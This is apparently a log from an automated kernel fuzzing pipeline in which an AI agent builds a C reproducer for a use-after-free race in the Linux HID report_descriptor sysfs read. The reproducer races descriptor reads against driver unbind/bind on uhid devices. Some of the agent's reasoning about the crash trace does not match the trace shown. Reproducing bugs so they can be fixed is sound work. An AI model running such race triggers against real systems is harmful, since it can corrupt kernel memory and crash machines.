process_scheduled_works+0xb5d/0x1860 kernel/workqueue.c:3397
worker_thread+0xa53/0xfc0 kernel/workqueue.c:3478
kthread+0x389/0x470 kernel/kthread.c:436
ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
The buggy address belongs to the object at ffff888037dd9b80
which belongs to the cache kmalloc-64 of size 64
The buggy address is located 0 bytes inside of
freed 64-byte region [ffff888037dd9b80, ffff888037dd9bc0)
The buggy address belongs to the physical page:
page: refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x37dd9
flags: 0xfff00000000000(node=0|zone=1|lastcpupid=0x7ff)
page_type: f5(slab)
raw: 00fff00000000000 ffff88813fe1a8c0 dead000000000100 dead000000000122
raw: 0000000000000000 0000000800200020 00000000f5000000 0000000000000000
page dumped because: kasan: bad access detected
page_owner tracks the page as allocated
page last allocated via order 0, migratetype Unmovable, gfp_mask 0xd2cc0(GFP_KERNEL|__GFP_NOWARN|__GFP_NORETRY|__GFP_COMP|__GFP_NOMEMALLOC), pid 13665, tgid 13665 (kworker/1:7), ts 1105362433588, free_ts 1105289461309
set_page_owner include/linux/page_owner.h:32 [inline]
post_alloc_hook+0x231/0x280 mm/page_alloc.c:1858
prep_new_page mm/page_alloc.c:1866 [inline]
get_page_from_freelist+0x24ba/0x2540 mm/page_alloc.c:3946
__alloc_frozen_pages_noprof+0x18d/0x380 mm/page_alloc.c:5226
alloc_slab_page mm/slub.c:3278 [inline]
allocate_slab+0x77/0x660 mm/slub.c:3467
new_slab mm/slub.c:3525 [inline]
refill_objects+0x339/0x3d0 mm/slub.c:7271
refill_sheaf mm/slub.c:2816 [inline]
__pcs_replace_empty_main+0x321/0x720 mm/slub.c:4651
alloc_from_pcs mm/slub.c:4749 [inline]
slab_alloc_node mm/slub.c:4883 [inline]
__kmalloc_cache_noprof+0x392/0x660 mm/slub.c:5414
kmalloc_noprof include/linux/slab.h:950 [inline]
kzalloc_noprof include/linux/slab.h:1188 [inline]
ath6kl_usb_alloc_pipe_resources drivers/net/wireless/ath/ath6kl/usb.c:193 [inline]
ath6kl_usb_setup_pipe_resources drivers/net/wireless/ath/ath6kl/usb.c:406 [inline]
ath6kl_usb_create drivers/net/wireless/ath/ath6kl/usb.c:670 [inline]
ath6kl_usb_probe+0xdba/0x15a0 drivers/net/wireless/ath/ath6kl/usb.c:1143
usb_probe_interface+0x659/0xc70 drivers/usb/core/driver.c:396
call_driver_probe drivers/base/dd.c:-1 [inline]
really_probe+0x267/0xaf0 drivers/base/dd.c:709
__driver_probe_device+0x1ef/0x380 drivers/base/dd.c:871
driver_probe_device+0x4f/0x240 drivers/base/dd.c:901
__device_attach_driver+0x279/0x430 drivers/base/dd.c:1029
bus_for_each_drv+0x258/0x2f0 drivers/base/bus.c:500
__device_attach+0x2c5/0x450 drivers/base/dd.c:1101
device_initial_probe+0xa1/0xd0 drivers/base/dd.c:1156
page last free pid 23 tgid 23 stack trace:
reset_page_owner include/linux/page_owner.h:25 [inline]
__free_pages_prepare mm/page_alloc.c:1402 [inline]
__free_frozen_pages+0xbc7/0xd30 mm/page_alloc.c:2943
__tlb_remove_table_free mm/mmu_gather.c:228 [inline]
tlb_remove_table_rcu+0x85/0x100 mm/mmu_gather.c:291
rcu_do_batch kernel/rcu/tree.c:2617 [inline]
rcu_core+0x7cd/0x1070 kernel/rcu/tree.c:2869
handle_softirqs+0x22a/0x840 kernel/softirq.c:622
run_ksoftirqd+0x36/0x60 kernel/softirq.c:1076
smpboot_thread_fn+0x541/0xa50 kernel/smpboot.c:160
kthread+0x389/0x470 kernel/kthread.c:436
ret_from_fork+0x514/0xb70 arch/x86/kernel/process.c:158
ret_from_fork_asm+0x1a/0x30 arch/x86/entry/entry_64.S:245
Memory state around the buggy address:
ffff888037dd9a80: 00 00 00 00 04 fc fc fc fc fc fc fc fc fc fc fc
ffff888037dd9b00: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
>ffff888037dd9b80: fb fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
^
ffff888037dd9c00: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
ffff888037dd9c80: fa fb fb fb fb fb fb fb fc fc fc fc fc fc fc fc
==================================================================
Strategy: An analysis of the previous failure shows that the `hid-lg` driver explicitly checks if the device is a USB device (`hid_is_usb()`) during probe. Since we are creating a virtual device via `uhid`, this check fails, the driver refuses to bind, and the race condition is never reached.
To trigger the Use-After-Free, we need a driver that:
1. Implements the `report_fixup` callback (which causes `hid_open_report()` to dynamically allocate `hdev->rdesc`).
2. Does NOT check `hid_is_usb()` during probe, allowing it to bind to a `uhid` device.
Drivers like `hid-apple`, `hid-logitech-hidpp`, `hid-multitouch`, and `hid-cherry` fit these criteria perfectly. The following reproducer creates multiple `uhid` devices with Vendor/Product IDs corresponding to these drivers. It then scans sysfs to find which driver successfully bound to the device. Once a suitable driver is found, it launches the race: multiple threads repeatedly reading the `report_descriptor` sysfs file while another thread continuously unbinds and binds the driver.
### C Reproducer
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <dirent.h>
#include <linux/uhid.h>
#include <sys/stat.h>
#include <sys/types.h>
#include "race_toolkit.h"
int uhid_fd;
char dev_name[256];
volatile int stop = 0;
struct {
int vendor;
int product;
const char *driver;
} target_devices[] = {
{ 0x05ac, 0x0304, "apple" }, // hid-apple
{ 0x046d, 0xc082, "logitech-hidpp" }, // hid-logitech-hidpp
{ 0x0596, 0x0500, "hid-multitouch" }, // hid-multitouch
{ 0x046a, 0x0023, "cherry" } // hid-cherry
};
int target_idx = -1;
void create_uhid(int idx) {
uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
perror("open uhid");
exit(1);
}
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
sprintf((char*)ev.u.create2.name, "test-uhid-%d", idx);
ev.u.create2.rd_size = 85;
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = target_devices[idx].vendor;
ev.u.create2.product = target_devices[idx].product;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
perror("write uhid");
exit(1);
}
}
void find_dev_name(int idx) {
DIR *dir = opendir("/sys/bus/hid/devices");
if (!dir) return;
struct dirent *ent;
char search[32];
sprintf(search, "0003:%04X:%04X", target_devices[idx].vendor, target_devices[idx].product);
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, search)) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
void* read_thread(void* arg) {
int fd = *(int*)arg;
char buf[256];
while (!stop) {
pread(fd, buf, sizeof(buf), 0);
}
return NULL;
}
void* bind_thread(void* arg) {
int bind_fd = ((int*)arg)[0];
int unbind_fd = ((int*)arg)[1];
int len = strlen(dev_name);
while (!stop) {
write(unbind_fd, dev_name, len);
write(bind_fd, dev_name, len);
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
int bind_fd = -1, unbind_fd = -1;
for (int i = 0; i < 4; i++) {
create_uhid(i);
dev_name[0] = '\0';
for (int j = 0; j < 20; j++) {
find_dev_name(i);
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] != '\0') {
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/drivers/%s/bind", target_devices[i].driver);
bind_fd = open(path, O_WRONLY);
snprintf(path, sizeof(path), "/sys/bus/hid/drivers/%s/unbind", target_devices[i].driver);
unbind_fd = open(path, O_WRONLY);
if (bind_fd >= 0 && unbind_fd >= 0) {
target_idx = i;
break;
}
if (bind_fd >= 0) close(bind_fd);
if (unbind_fd >= 0) close(unbind_fd);
}
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
}
if (target_idx == -1) {
fprintf(stderr, "No suitable device/driver found.\n");
return 1;
}
printf("Using driver %s with device %s\n", target_devices[target_idx].driver, dev_name);
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
perror("open report_descriptor");
return 1;
}
int fds[2] = {bind_fd, unbind_fd};
pthread_t t_read[4];
pthread_t t_bind;
for (int i = 0; i < 4; i++) {
pthread_create(&t_read[i], NULL, read_thread, &fd);
}
pthread_create(&t_bind, NULL, bind_thread, fds);
sleep(10); // Allow time for the race to trigger KASAN
stop = 1;
for (int i = 0; i < 4; i++) {
pthread_join(t_read[i], NULL);
}
pthread_join(t_bind, NULL);
close(fd);
close(bind_fd);
close(unbind_fd);
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
printf("[+] Done\n");
return 0;
}
```
|
| 214/4 |
2026/05/19 10:21 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 9858
output: 43
thoughts: 959
Thoughts: **Analyzing a KASAN Slab-Use-After-Free in `report_descriptor_read`**
Okay, here's what I'm seeing. There's a KASAN slab-use-after-free issue in the `report_descriptor_read` function, specifically in `drivers/hid/hid-core.c` at line 2265. The stack trace indicates that the function is reading from `hdev->rdesc`. I remember that this `rdesc` is allocated within `hid_open_report`, likely using a function like `kmemdup_noprof`. The triggering action appears to be reading the `report_descriptor` sysfs file.
I initially thought the issue was tied to a `uhid` virtual device creation and binding/unbinding cycle, but the user prompt is giving me a complete strategy and also a reproducer, which looks like an interesting piece of work. The user seems to suggest testing different drivers like `hid-apple`, `hid-logitech-hidpp`, `hid-multitouch`, and `hid-cherry`, which they might have already tried.
My current thought is that it might be important to note the strategy, "An analysis of the previous failure shows that the `hid-lg` driver explicitly checks if the device is a USB device (`hid_is_usb()`) during probe. Since we are creating a virtual device via `uhid`, this check fails, the driver refuses to bind, and the race condition is never reached."
Since the reproducer is in C, I should use the strategy with the prompt and work on a reproducer to check the hypothesis.
Wait, now I see the full picture: The user is describing the bug and then the strategy. The strategy is critical because the prompt is about the `hid-lg` driver, which checks if it's a USB device via `hid_is_usb()`. Because it's a virtual device via `uhid`, this check fails and the race is not reached.
Now, looking at the crash trace, it clearly shows `lg_probe` allocating the report descriptor. The trace is from the `usbhid_probe`, which means the device is a real USB device or a vhci/dummy_hcd. It's time to build a reproducer with a virtual USB device created using `vhci` or `dummy_hcd`, to simulate a USB device that the `hid-lg` driver *should* bind to.
|
| 215/4 |
2026/05/19 10:21 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-core.c IncludeLines:true Name:report_descriptor_read]
Results: map[SourceCode:2251: static ssize_t
2252: report_descriptor_read(struct file *filp, struct kobject *kobj,
2253: const struct bin_attribute *attr,
2254: char *buf, loff_t off, size_t count)
2255: {
2256: struct device *dev = kobj_to_dev(kobj);
2257: struct hid_device *hdev = to_hid_device(dev);
2258:
2259: if (off >= hdev->rsize)
2260: return 0;
2261:
2262: if (off + count > hdev->rsize)
2263: count = hdev->rsize - off;
2264:
2265: memcpy(buf, hdev->rdesc + off, count);
2266:
2267: return count;
2268: }
SourceFile:drivers/hid/hid-core.c]
|
| 216/4 |
2026/05/19 10:21 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 11677
output: 43
thoughts: 64
Thoughts: **Investigating a Potential Use-After-Free Vulnerability**
Okay, so I've pinpointed the suspicious code – it's right in `memcpy(buf, hdev->rdesc + off, count)`. My initial concern is that it seems like the User-After-Free (UAF) might stem from the interaction with `hdev->rdesc`. Now, here's what's going through my mind: I know `hdev->rdesc` is being freed somewhere else in the code, but it looks like `hdev->rsize` isn't getting updated or possibly the sysfs file remains accessible, which means we might have a window of opportunity for an attacker. The fact that the system appears not to be aware of the memory being freed is very concerning.
My next step is clear: I need to scrutinize the `hid_open_report` function to understand the precise sequence of operations and how the device descriptors are being managed. I'm hoping to understand the complete picture of how the data is being handled so I can better understand where the actual root of the problem lies. Hopefully, this will lead me to the precise place in the system where we need to fix this dangerous memory mismanagement.
|
| 217/4 |
2026/05/19 10:21 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-core.c IncludeLines:true Name:hid_open_report]
Results: map[SourceCode:1332: /**
1333: * hid_open_report - open a driver-specific device report
1334: *
1335: * @device: hid device
1336: *
1337: * Parse a report description into a hid_device structure. Reports are
1338: * enumerated, fields are attached to these reports.
1339: * 0 returned on success, otherwise nonzero error value.
1340: *
1341: * This function (or the equivalent hid_parse() macro) should only be
1342: * called from probe() in drivers, before starting the device.
1343: */
1344: int hid_open_report(struct hid_device *device)
1345: {
1346: unsigned int size;
1347: const u8 *start;
1348: int error;
1349:
1350: if (WARN_ON(device->status & HID_STAT_PARSED))
1351: return -EBUSY;
1352:
1353: start = device->bpf_rdesc;
1354: if (WARN_ON(!start))
1355: return -ENODEV;
1356: size = device->bpf_rsize;
1357:
1358: if (device->driver->report_fixup) {
1359: /*
1360: * device->driver->report_fixup() needs to work
1361: * on a copy of our report descriptor so it can
1362: * change it.
1363: */
1364: u8 *buf __free(kfree) = kmemdup(start, size, GFP_KERNEL);
1365:
1366: if (!buf)
1367: return -ENOMEM;
1368:
1369: start = device->driver->report_fixup(device, buf, &size);
1370:
1371: /*
1372: * The second kmemdup is required in case report_fixup() returns
1373: * a static read-only memory, but we have no idea if that memory
1374: * needs to be cleaned up or not at the end.
1375: */
1376: start = kmemdup(start, size, GFP_KERNEL);
1377: if (!start)
1378: return -ENOMEM;
1379: }
1380:
1381: device->rdesc = start;
1382: device->rsize = size;
1383:
1384: error = hid_parse_collections(device);
1385: if (error) {
1386: hid_close_report(device);
1387: return error;
1388: }
1389:
1390: return 0;
1391: }
SourceFile:drivers/hid/hid-core.c]
|
| 218/4 |
2026/05/19 10:21 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 12878
output: 43
thoughts: 108
Thoughts: **My Analysis of HID Report Descriptor Allocation and Management**
Okay, let me break this down in my head. I'm focusing on the `device->rdesc` – the report descriptor – within the HID subsystem. I see that its allocation is conditional on the `device->driver->report_fixup` flag. Specifically, if this fixup is *set*, then `hid_open_report` is responsible for allocating `device->rdesc`. Now, hang on... if `report_fixup` is *not* set, then `device->rdesc` actually points to `device->bpf_rdesc`, which I know is handled by another part of the code – a different mechanism entirely. That's good to keep in mind, and very important distinction.
So, if `report_fixup` *is* active, it's a `kmemdup`'ed buffer which suggests dynamic allocation on the kernel heap. Which leads me to my core concern: I need to be absolutely certain about *when* `device->rdesc` is freed. This is key to prevent memory leaks, especially if `report_fixup` is involved, and it's essential to understand the complete lifecycle of this descriptor in various scenarios, including device detachments, driver unloads, and any potential error paths. I need to trace this freeing logic now.
|
| 219/4 |
2026/05/19 10:21 |
tool |
codesearch-definition-source |
0m
Args: map[ContextFile:drivers/hid/hid-core.c IncludeLines:true Name:hid_close_report]
Results: map[SourceCode: 707: /*
708: * Close report. This function returns the device
709: * state to the point prior to hid_open_report().
710: */
711: static void hid_close_report(struct hid_device *device)
712: {
713: unsigned i, j;
714:
715: for (i = 0; i < HID_REPORT_TYPES; i++) {
716: struct hid_report_enum *report_enum = device->report_enum + i;
717:
718: for (j = 0; j < HID_MAX_IDS; j++) {
719: struct hid_report *report = report_enum->report_id_hash[j];
720: if (report)
721: hid_free_report(report);
722: }
723: memset(report_enum, 0, sizeof(*report_enum));
724: INIT_LIST_HEAD(&report_enum->report_list);
725: }
726:
727: /*
728: * If the HID driver had a rdesc_fixup() callback, dev->rdesc
729: * will be allocated by hid-core and needs to be freed.
730: * Otherwise, it is either equal to dev_rdesc or bpf_rdesc, in
731: * which cases it'll be freed later on device removal or destroy.
732: */
733: if (device->rdesc != device->dev_rdesc && device->rdesc != device->bpf_rdesc)
734: kfree(device->rdesc);
735: device->rdesc = NULL;
736: device->rsize = 0;
737:
738: kfree(device->collection);
739: device->collection = NULL;
740: device->collection_size = 0;
741: device->maxcollection = 0;
742: device->maxapplication = 0;
743:
744: device->status &= ~HID_STAT_PARSED;
745: }
SourceFile:drivers/hid/hid-core.c]
|
| 220/4 |
2026/05/19 10:21 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 13953
output: 44
thoughts: 282
Thoughts: **Race Condition in Report Descriptor Handling**
Okay, so I'm looking at this `hid_close_report` function. It seems straightforward enough; it frees `device->rdesc` and sets it to `NULL`. But then I started thinking about concurrent access and a potential race condition. If `device->rdesc` is NULL after being freed, and `device->rsize` becomes 0, then the `report_descriptor_read` function could get confused, resulting in unexpected behavior, or a return of `0`.
But hold on, looking closer, `report_descriptor_read` does these checks:
```c
if (off >= hdev->rsize)
return 0;
if (off + count > hdev->rsize)
count = hdev->rsize - off;
memcpy(buf, hdev->rdesc + off, count);
```
So, if `hid_close_report` runs concurrently with `report_descriptor_read`, here's the scenario: `report_descriptor_read` reads `hdev->rsize` as a non-zero value. Then, *before* `report_descriptor_read` executes the `memcpy`, `hid_close_report` executes and *frees* `hdev->rdesc`. Now the dreaded `memcpy` reads from freed memory! That's a classic use-after-free vulnerability!
Now the question is, *when* is `hid_close_report` actually called? I have to consider all the ways a device might be unbound. Let me think. Okay, it's called during device removal, specifically, `hid_device_remove` calls `hid_hw_stop`, which calls `hid_close_report`? No, wait... or is `hid_close_report` called directly from `hid_device_remove`? I need to check the code to be absolutely certain of the call stack to see exactly when and where this is happening. This definitely warrants a closer look.
|
| 221/4 |
2026/05/19 10:21 |
tool |
codesearch-find-references |
0m
Args: map[ContextFile:drivers/hid/hid-core.c IncludeSnippetLines:0 Name:hid_close_report]
Results: map[References:[map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:__hid_device_probe SourceFile:drivers/hid/hid-core.c SourceLine:2839] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:hid_allocate_device SourceFile:drivers/hid/hid-core.c SourceLine:3036] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:hid_device_remove SourceFile:drivers/hid/hid-core.c SourceLine:2885] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:hid_open_report SourceFile:drivers/hid/hid-core.c SourceLine:1386] map[ReferenceKind:calls ReferencingEntityKind:function ReferencingEntityName:hiddev_free SourceFile:drivers/hid/hid-core.c SourceLine:763]] TruncatedOutput:false]
|
| 222/4 |
2026/05/19 10:21 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 14991
output: 16
thoughts: 1114
Thoughts: **Analyzing the Reproducer and Strategy**
Okay, let's break this down. First, I see that `hid_device_remove` calls `hid_close_report`. The user has given me a scenario where the driver is unbound, and they've provided what looks like a full C reproducer. At first, I was confused because the prompt *gives* a reproducer. But, given the instructions, and after a careful reread, I think this is a starting point, perhaps the output of a prior LLM turn or a user-provided hint in a bug report. The description mentions a `hid-lg` driver and a `uhid` device, and the strategy alludes to a USB-specific check (`hid_is_usb()`). This seems relevant because the goal is to trigger a specific kernel bug related to `report_descriptor_read`, but since I can't directly run the code, and instead the system will, I will use `set-results`.
The important thing is that the prompt mentions an "iterative approach". Given that the prompt already provides a reproducer, let's start by assuming it's a good one and use it. I will examine it, and if it appears sound, I'll pass the code through `set-results`.
Let's look at the reproducer: It looks like it uses `uhid` and tries to bind and unbind the driver, while reading the `report_descriptor`, which aligns with the bug description. The inclusion of `"race_toolkit.h"` is interesting, and I'll need to confirm I have that toolkit available. Given the prompts guidelines, I'll use it to continue, I can use the `get-toolkit` tool to make sure I have the available race toolkit. I need to call the `set-results` tool. This seems to be the logical next step.
|
| 223/4 |
2026/05/19 10:21 |
tool |
get-toolkit |
0m
Args:
Results: map[Toolkit:// Copyright 2026 syzkaller project authors. All rights reserved.
// Use of this source code is governed by Apache 2 LICENSE that can be found in the LICENSE file.
// IMPORTANT: Do not copy the macros or definitions below directly into your reproducer.
// Instead, add the following line to your reproducer:
// #include "race_toolkit.h"
// --- Race Condition Toolkit ---
// Macros and snippets for CPU pinning, memory barriers, and userfaultfd.
#define _GNU_SOURCE
#include <errno.h>
#include <fcntl.h>
#include <linux/futex.h>
#include <linux/userfaultfd.h>
#include <poll.h>
#include <pthread.h>
#include <sched.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <sys/ioctl.h>
#include <sys/syscall.h>
#include <unistd.h>
// Unbuffered I/O: Ensure logs are written immediately.
#define SETUP_UNBUFFERED_IO() setvbuf(stdout, NULL, _IONBF, 0)
// CPU Pinning: Pin the current thread to a specific CPU core.
#define PIN_TO_CPU(cpu) \
do { \
cpu_set_t mask; \
CPU_ZERO(&mask); \
CPU_SET(cpu, &mask); \
if (sched_setaffinity(0, sizeof(mask), &mask) == -1) { \
perror("sched_setaffinity"); \
} \
} while (0)
// Memory Barrier: Ensure memory ordering.
#define MB() __atomic_thread_fence(__ATOMIC_SEQ_CST)
// Spin-wait Barrier: Wait until a memory location has a specific value.
// Best for tight race windows (low latency, no context switches).
#define WAIT_ON(addr, val) \
do { \
while (__atomic_load_n(addr, __ATOMIC_ACQUIRE) != (val)) \
; \
} while (0)
// Signal: Set a memory location to a specific value to release a WAIT_ON.
#define SIGNAL(addr, val) __atomic_store_n(addr, val, __ATOMIC_RELEASE)
// Futex-based Event: Shared with syzkaller executor.
// Best for general synchronization or longer waits to save CPU.
typedef struct {
int state;
} event_t;
static void event_init(event_t* ev)
{
ev->state = 0;
}
static void event_reset(event_t* ev)
{
ev->state = 0;
}
static void event_set(event_t* ev)
{
if (__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE)) {
fprintf(stderr, "event already set\n");
exit(1);
}
__atomic_store_n(&ev->state, 1, __ATOMIC_RELEASE);
syscall(SYS_futex, &ev->state, FUTEX_WAKE | FUTEX_PRIVATE_FLAG, 1000000);
}
static void event_wait(event_t* ev)
{
while (!__atomic_load_n(&ev->state, __ATOMIC_ACQUIRE))
syscall(SYS_futex, &ev->state, FUTEX_WAIT | FUTEX_PRIVATE_FLAG, 0, 0);
}
// userfaultfd setup: Register a memory range for page fault handling.
static int setup_uffd(void* addr, size_t len)
{
int uffd = syscall(__NR_userfaultfd, O_CLOEXEC | O_NONBLOCK);
if (uffd == -1)
return -1;
struct uffdio_api api = {.api = UFFD_API, .features = 0};
if (ioctl(uffd, UFFDIO_API, &api) == -1) {
close(uffd);
return -1;
}
struct uffdio_register reg = {
.range = {.start = (uintptr_t)addr, .len = len},
.mode = UFFDIO_REGISTER_MODE_MISSING};
if (ioctl(uffd, UFFDIO_REGISTER, ®) == -1) {
close(uffd);
return -1;
}
return uffd;
}
// --- Guidance on Usage ---
// 1. Use WAIT_ON/SIGNAL for tight race conditions to avoid scheduling overhead.
// 2. Use event_t (futexes) for general coordination or when waiting for longer periods.
// 3. Always use PIN_TO_CPU to increase race probability on multi-core systems.
// 4. Use setup_uffd to register a memory range for page fault handling. This allows you to
// pause a thread accessing that memory until you handle the fault, creating a reliable
// and controllable race window.
// 5. Call SETUP_UNBUFFERED_IO() at the start of main() to ensure that logs are printed
// immediately. This is essential for understanding the exact interleaving of events
// when debugging race conditions.
]
|
| 224/4 |
2026/05/19 10:21 |
llm |
repro-generator |
0m
Model:
Tokens:
input: 17781
output: 2108
thoughts: 621
Thoughts: **Refining the Reproducer for Robustness**
Okay, so the user gave me a reproducer. My initial thought was to just return it, see if it works as is. But then I re-read the prompt. It's *critical* that I add detailed logging and error checking. Specifically, I need to make sure every system call, like sockets, binds, listens, connects, ioctls, sends – *every single one* – checks for a failure return value. And the program needs to print a message after every major successful step.
I see the reproducer *does* have some error checking, but it's not comprehensive. For example, `write()` on the uhid file descriptor and the `open()` call for the report descriptor. So, I need to beef it up significantly. My goal is a truly robust reproducer, one that's informative when it succeeds *and* gives me clear clues when it fails.
Now, let me just quickly refresh my understanding of the reproducer's logic. It does the following:
1. Creates 4 `uhid` devices (apple, logitech, multitouch, and cherry).
2. Finds the device names in `/sys/bus/hid/devices`.
3. Tries to bind and unbind drivers for each found device.
4. If successful it uses the device and driver.
5. Destroys the other `uhid` devices.
6. Opens the report descriptor.
7. Starts 4 threads reading from the report descriptor.
8. Starts 1 thread repeatedly writing to unbind and bind.
9. Waits 10 seconds.
10. Stops the threads and cleans up.
Aha! It's using `hid-apple`, `hid-logitech-hidpp`, `hid-multitouch`, and `hid-cherry` which all have `report_fixup`, so that makes sense, as `hid_open_report` will allocate `hdev->rdesc` with `kmemdup`. Okay, now I have a solid grasp.
Therefore, I'm going to modify the existing reproducer to meticulously add logging and error checking as requested by the prompt. This will give us a much better chance of diagnosing any failures in the test environment. Let's make it bulletproof!
|
| 225/4 |
2026/05/19 10:22 |
tool |
set-results |
0m
Args: map[RawCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
#include <dirent.h>
#include <linux/uhid.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <errno.h>
#include "race_toolkit.h"
int uhid_fd;
char dev_name[256];
volatile int stop = 0;
struct {
int vendor;
int product;
const char *driver;
} target_devices[] = {
{ 0x05ac, 0x0304, "apple" }, // hid-apple
{ 0x046d, 0xc082, "logitech-hidpp" }, // hid-logitech-hidpp
{ 0x0596, 0x0500, "hid-multitouch" }, // hid-multitouch
{ 0x046a, 0x0023, "cherry" } // hid-cherry
};
int target_idx = -1;
void create_uhid(int idx) {
uhid_fd = open("/dev/uhid", O_RDWR);
if (uhid_fd < 0) {
printf("[-] Failed to open /dev/uhid: %s\n", strerror(errno));
exit(1);
}
printf("[+] Opened /dev/uhid successfully.\n");
struct uhid_event ev = {0};
ev.type = UHID_CREATE2;
sprintf((char*)ev.u.create2.name, "test-uhid-%d", idx);
ev.u.create2.rd_size = 85;
ev.u.create2.bus = 3; // BUS_USB
ev.u.create2.vendor = target_devices[idx].vendor;
ev.u.create2.product = target_devices[idx].product;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
printf("[-] Failed to write UHID_CREATE2: %s\n", strerror(errno));
exit(1);
}
printf("[+] Created uhid device %d successfully.\n", idx);
}
void find_dev_name(int idx) {
DIR *dir = opendir("/sys/bus/hid/devices");
if (!dir) {
printf("[-] Failed to open /sys/bus/hid/devices: %s\n", strerror(errno));
return;
}
struct dirent *ent;
char search[32];
sprintf(search, "0003:%04X:%04X", target_devices[idx].vendor, target_devices[idx].product);
while ((ent = readdir(dir)) != NULL) {
if (strstr(ent->d_name, search)) {
strcpy(dev_name, ent->d_name);
break;
}
}
closedir(dir);
}
void* read_thread(void* arg) {
int fd = *(int*)arg;
char buf[256];
while (!stop) {
pread(fd, buf, sizeof(buf), 0);
}
return NULL;
}
void* bind_thread(void* arg) {
int bind_fd = ((int*)arg)[0];
int unbind_fd = ((int*)arg)[1];
int len = strlen(dev_name);
while (!stop) {
if (write(unbind_fd, dev_name, len) < 0) {
// Ignore errors as it might already be unbound
}
if (write(bind_fd, dev_name, len) < 0) {
// Ignore errors as it might already be bound
}
}
return NULL;
}
int main() {
SETUP_UNBUFFERED_IO();
int bind_fd = -1, unbind_fd = -1;
for (int i = 0; i < 4; i++) {
create_uhid(i);
dev_name[0] = '\0';
for (int j = 0; j < 20; j++) {
find_dev_name(i);
if (dev_name[0] != '\0') break;
usleep(100000);
}
if (dev_name[0] != '\0') {
printf("[+] Found device name: %s\n", dev_name);
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/drivers/%s/bind", target_devices[i].driver);
bind_fd = open(path, O_WRONLY);
snprintf(path, sizeof(path), "/sys/bus/hid/drivers/%s/unbind", target_devices[i].driver);
unbind_fd = open(path, O_WRONLY);
if (bind_fd >= 0 && unbind_fd >= 0) {
target_idx = i;
printf("[+] Successfully opened bind and unbind files for driver %s.\n", target_devices[i].driver);
break;
} else {
printf("[-] Failed to open bind/unbind for driver %s.\n", target_devices[i].driver);
}
if (bind_fd >= 0) close(bind_fd);
if (unbind_fd >= 0) close(unbind_fd);
} else {
printf("[-] Device name not found for index %d.\n", i);
}
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
if (write(uhid_fd, &ev, sizeof(ev)) < 0) {
printf("[-] Failed to write UHID_DESTROY: %s\n", strerror(errno));
}
close(uhid_fd);
}
if (target_idx == -1) {
printf("[-] No suitable device/driver found.\n");
return 1;
}
printf("[+] Using driver %s with device %s\n", target_devices[target_idx].driver, dev_name);
char path[512];
snprintf(path, sizeof(path), "/sys/bus/hid/devices/%s/report_descriptor", dev_name);
int fd = -1;
for (int i = 0; i < 50; i++) {
fd = open(path, O_RDONLY);
if (fd >= 0) break;
usleep(100000);
}
if (fd < 0) {
printf("[-] Failed to open report_descriptor: %s\n", strerror(errno));
return 1;
}
printf("[+] Opened report_descriptor successfully.\n");
int fds[2] = {bind_fd, unbind_fd};
pthread_t t_read[4];
pthread_t t_bind;
for (int i = 0; i < 4; i++) {
if (pthread_create(&t_read[i], NULL, read_thread, &fd) != 0) {
printf("[-] Failed to create read thread %d\n", i);
return 1;
}
}
printf("[+] Created read threads.\n");
if (pthread_create(&t_bind, NULL, bind_thread, fds) != 0) {
printf("[-] Failed to create bind thread\n");
return 1;
}
printf("[+] Created bind thread.\n");
printf("[+] Waiting for 10 seconds to trigger race...\n");
sleep(10);
stop = 1;
for (int i = 0; i < 4; i++) {
pthread_join(t_read[i], NULL);
}
pthread_join(t_bind, NULL);
close(fd);
close(bind_fd);
close(unbind_fd);
struct uhid_event ev = {0};
ev.type = UHID_DESTROY;
write(uhid_fd, &ev, sizeof(ev));
close(uhid_fd);
printf("[+] Done\n");
return 0;
}
]
Results: map[RawCandidateReproC:#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <pthread.h>
